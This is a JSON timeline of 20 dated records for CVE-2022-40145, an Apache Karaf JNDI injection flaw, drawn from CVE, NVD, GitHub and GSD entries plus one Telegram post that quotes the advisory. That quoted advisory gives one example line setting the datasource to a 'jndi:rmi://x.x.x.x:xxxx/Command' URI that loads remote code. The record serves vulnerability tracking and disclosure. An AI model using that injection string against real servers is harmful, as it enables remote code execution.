{"metadata": {"vulnerability": "CVE-2022-40145", "count": 20, "kinds": {"milestone": 4, "sighting": 1, "kev": 0, "other": 15}}, "data": [{"timestamp": "2022-09-07T08:02:30.677Z", "date_only": false, "value": "2022-09-07T08:02:30.677Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-40145", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-12-21T00:00:00Z", "date_only": true, "value": "2022-12-21", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2022-40145", "record": "GSD-2022-40145", "field": "namespaces.gitlab.com.advisories.0.date"}, {"timestamp": "2022-12-21T00:00:00Z", "date_only": true, "value": "2022-12-21", "kind": "other", "label": "Pubdate", "source": "gsd \u00b7 GSD-2022-40145", "record": "GSD-2022-40145", "field": "namespaces.gitlab.com.advisories.0.pubdate"}, {"timestamp": "2022-12-21T15:23:42.847Z", "date_only": false, "value": "2022-12-21T15:23:42.847Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-40145", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-12-21T15:23:42.847Z", "date_only": false, "value": "2022-12-21T15:23:42.847Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / apache", "record": "CVE-2022-40145", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-12-21T16:15:00Z", "date_only": false, "value": "2022-12-21T16:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-C2P4-8MVV-RWMV", "record": "GHSA-C2P4-8MVV-RWMV", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-12-21T16:15:00Z", "date_only": false, "value": "2022-12-21T16:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-40145", "record": "GSD-2022-40145", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-12-21T16:15:08.930Z", "date_only": false, "value": "2022-12-21T16:15:08.930", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-40145", "record": "FKIE_CVE-2022-40145", "field": "published"}, {"timestamp": "2022-12-21T18:30:22Z", "date_only": false, "value": "2022-12-21T18:30:22Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-C2P4-8MVV-RWMV", "record": "GHSA-C2P4-8MVV-RWMV", "field": "published"}, {"timestamp": "2022-12-22T05:38:07Z", "date_only": false, "value": "2022-12-22T05:38:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/55054", "record": "CVE-2022-40145", "field": "creation_timestamp", "uuid": "fa117fc7-c3f8-43ae-94f4-6a0e6d486589", "content": "\u203c CVE-2022-40145 \u203c\n\nThis vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/55054"}, {"timestamp": "2023-06-27T00:00:00Z", "date_only": true, "value": "2023-06-27", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2022-40145", "record": "GSD-2022-40145", "field": "namespaces.gitlab.com.advisories.1.date"}, {"timestamp": "2023-06-27T18:34:00Z", "date_only": false, "value": "2023-06-27T18:34Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-40145", "record": "GSD-2022-40145", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-12-13T01:19:31.136Z", "date_only": false, "value": "2023-12-13T01:19:31.136684Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-40145", "record": "GSD-2022-40145", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-03T12:14:39.957Z", "date_only": false, "value": "2024-08-03T12:14:39.957Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-40145", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-04-15T18:02:30.458Z", "date_only": false, "value": "2025-04-15T18:02:30.458673Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-40145", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2025-04-15T18:02:30.458Z", "date_only": false, "value": "2025-04-15T18:02:30.458673Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-40145", "record": "FKIE_CVE-2022-40145", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-04-15T18:03:47.618Z", "date_only": false, "value": "2025-04-15T18:03:47.618Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-40145", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-04-15T18:03:47.618Z", "date_only": false, "value": "2025-04-15T18:03:47.618Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-40145", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-04-15T18:44:44Z", "date_only": false, "value": "2025-04-15T18:44:44Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-C2P4-8MVV-RWMV", "record": "GHSA-C2P4-8MVV-RWMV", "field": "modified"}, {"timestamp": "2026-06-17T05:01:01.763Z", "date_only": false, "value": "2026-06-17T05:01:01.763", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-40145", "record": "FKIE_CVE-2022-40145", "field": "lastModified"}]}